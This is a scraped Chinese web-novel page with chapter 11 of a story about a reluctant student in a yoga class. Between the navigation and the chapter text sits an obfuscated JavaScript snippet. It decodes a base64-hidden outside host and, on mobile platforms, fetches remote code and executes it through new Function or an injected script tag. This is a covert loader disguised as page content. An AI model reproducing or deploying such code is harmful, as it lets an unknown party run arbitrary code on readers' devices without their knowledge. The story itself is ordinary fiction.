妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第11章(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

第11章

周一。

早上八点整。

林思悦顶着惺忪的眼袋,拖着脚步有精无神来到瑜伽馆。

“快快快,都开始上课了。”前台看到林思悦,连忙催促,指了指都已经关门的教室,“现在才刚开始,赶紧进去。”

林思悦丝毫不为所动,依旧慢悠悠走过去,脸上还有点抗拒。

前台说上周高雯的课属于爆满,没人取消,就只能帮她约周一上午八点的课。

林思悦没去实习的原因,就是因为上班时间太早,她压根起不来。

但前台给她发了上节课的对比图,从图中明显能看到,她的驼背改善,整个人都笔挺了,更有精神,她还是想要改变。

而且,高雯的课一放出来,一周的课又约满了。

这节课要是不来上,这个周都没了。

林思悦只能爬起来,不情不愿来上课。

她推开门,高雯正带着会员做完冥想调息,她看到林思悦来了,柔声含笑打招呼:“早上好。”

林思悦眼珠子不自然转了转:“.....早上好。”

这是她的礼貌!才不是和高雯示好!

课程已经开始,林思悦赶紧往空垫子走去,坐下来。

“简易坐姿,”高雯起身,话语轻缓,徐徐诱导,“延展你的脊椎,想象头顶去找天花板,拉长你的脖子——”

林思悦视线还在高雯身上。

高雯今天穿了一件国风款青色吊带上衣搭配牛油果色瑜伽裤,衬得她的肌肤越发白净清透,将她柔细纤瘦的身姿展现得淋漓尽致,前凸后翘,一双长腿笔直匀称。

林思悦抨击高雯的人品,但对她的脸蛋身材从未否定,因为找不出缺陷。而且,这女人衣着品味简直是爆表,瑜伽服真好看。

她甚至在想,怎么样才能拿到购买链接?

高雯走到林思悦身边,红唇微张:“保持自然呼吸。”

林思悦赶紧左顾右盼,学着张妮坐好,余光有模有样地观察,努力模仿。

“下面进入猫伸展式,四脚跪姿——”

林思悦赶紧跪好,生怕跟不上。

高雯来到了她身边,把她的手往前放了一点,又对她道,“膝盖再往后一点。”

林思悦照做。

“吸气,把你的尾骨往上提——”

高雯看着林思悦,她余光看向张妮,下一秒就被高雯挡住,她把手放在林思悦的臀上,“想象这里去找天花板,练了能翘臀。”

“!!!”林思悦默默看了眼高雯的臀部,格外努力。

“把你的肚子吸到最薄,想象你的肚脐眼去贴近脊椎,再近一点,”高雯换了通俗易懂的引导词,伸手往林思悦的肚子上一戳,“吸——再吸——”

“很好。”高雯来到林思悦前面,白皙纤细的手指抬起她的下巴。

“你干嘛?”林思悦觉得有些痒,干嘛摸她?!这个动作好调戏。

“把你的脖子往前伸,让你的肩膀远离你的耳朵,”高雯继续扶着林思悦的下巴,“再远离一点。”

林思悦的脖子僵硬,一拉伸,她自己都能感觉到脖子里咔嚓咔嚓的声音,她抿着唇,困意彻底清醒,泪水不断溢出来,好累好累。

她不要做了。

“这个姿势很标准了,臀再往上翘点,为了蜜桃臀。”

高雯这句话,让林思悦一下打消放弃的念头。

她忍!

接下来的课程,林思悦又成了高雯的示范工具人。

林思悦还没反应过来,体式一个接着一个,她呼吸都急促起来,站立进入幻椅式后,高雯又走过来。

她以为要结束了,结果高雯从身后扶住她,“双手合十放在胸前,向右侧扭转。”

林思悦的汗水不断往下滴落,勉勉强强按照她说的照做。

结果,高雯直接上手,抓住了她的肩,“吸气——”

“疼——我不要——”林思悦有些挣扎,带着羞恼,“我做不到的!”

“不要和我的力气对抗,顺着我的力气走。”高雯再一次靠近,她的声线提高,语调微沉,带着不容抗拒的气场。

林思悦瞬间变成听话的学生,秒安分下来。

高雯一只手抓住林思悦的手,另一只手扶住林思悦的肩膀,整个人贴在她身上,语气轻柔道:“深吸气,慢慢转动——”

高雯贴上来的时候,林思悦就感觉她香香软软的,好诱人。

这个女人在干什么,她要干什么啊?

可恶!

这是勾引她吗?坏女人!

林思悦脸红了,热汗流得更多,她脑袋晕乎乎,跟着高雯转动上半身。

“这不就做到了吗?”高雯松开林思悦,“继续保持一会,姿势很漂亮。”

高雯一离开,香味随之散去,林思悦内心还有点小失落,她抬头看着镜子里的自己,微微睁眼。

这是她能做到的?!天啊!简直不敢置信。

她面色缓了缓,嘴角抑制不住咧开,悄咪咪欣赏自己的美姿。

林思悦刚说服自己原谅高雯的冒犯,结果她又来了。

一招侧伸展,高雯整个身子又一次覆在林思悦身上,拉着她的手

往下。

“啊——啊——”林思悦不敢反抗,只能顺从,她的腿就像抖棉花一样。

起码有半个小时,林思悦感觉自己被高雯“捏扁揉圆”。

太难太累了!这个女人真的好过分!

一节课结束,林思悦头发凌乱,身上的瑜伽服被汗水浸透,毫无形象瘫在一边,迟迟缓不过来。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间